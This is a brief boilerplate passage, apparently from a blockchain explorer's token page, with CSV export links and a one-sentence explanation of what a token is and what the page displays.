[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.